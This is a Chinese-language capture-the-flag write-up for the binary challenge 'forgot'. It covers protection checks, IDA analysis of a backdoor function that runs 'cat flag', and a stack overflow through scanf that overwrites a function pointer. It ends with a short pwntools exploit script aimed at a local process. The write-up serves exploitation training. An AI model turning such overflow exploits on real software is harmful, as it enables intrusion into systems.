预备知识

本题涉及到的知识点:

  • 栈溢出(ret2text)

程序分析

  1. 使用checksec查看保护情况:

    32位程序,开启了NX保护。

    1
    2
    3
    4
    5
    Arch:     i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
  2. 运行程序,首先输入昵称,然后输入邮箱。

    forgot

  3. 拖入IDA分析。发现main函数很复杂,有一堆指向函数的指针。

    forgot_1

  4. 继续分析,我们可以找到后门函数,system(“cat flag”)。

    forgot_2

利用思路

覆盖函数指针

第一个输入点不存在漏洞,第二个scanf(“%s”, v2)存在栈溢出漏洞。

并且,程序末尾有 (*(&v3 + –v14))(); 执行函数的命令。

我们可以将v3当作基址,v14为偏移量。通过scanf,我们可以覆盖v3—v12之间的任意地址。

于是,我们可以覆盖v3的地址为后门函数的地址,然后让v14 = 1即可执行后门函数。

控制函数返回0

通过分析,我们发现,只要让下面的函数返回0,即可让v14 = 1。

forgot_3.png

跟入该函数,我们可以发现,只要让传入的参数为大写字母即可返回0。

forgot_4.png

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.log_level = 'debug'

io = process('./forgot')

payload = 'A' * 32 + p32(0x080486CC)

io.sendline('Simplicity')
io.sendline(payload)

io.interactive()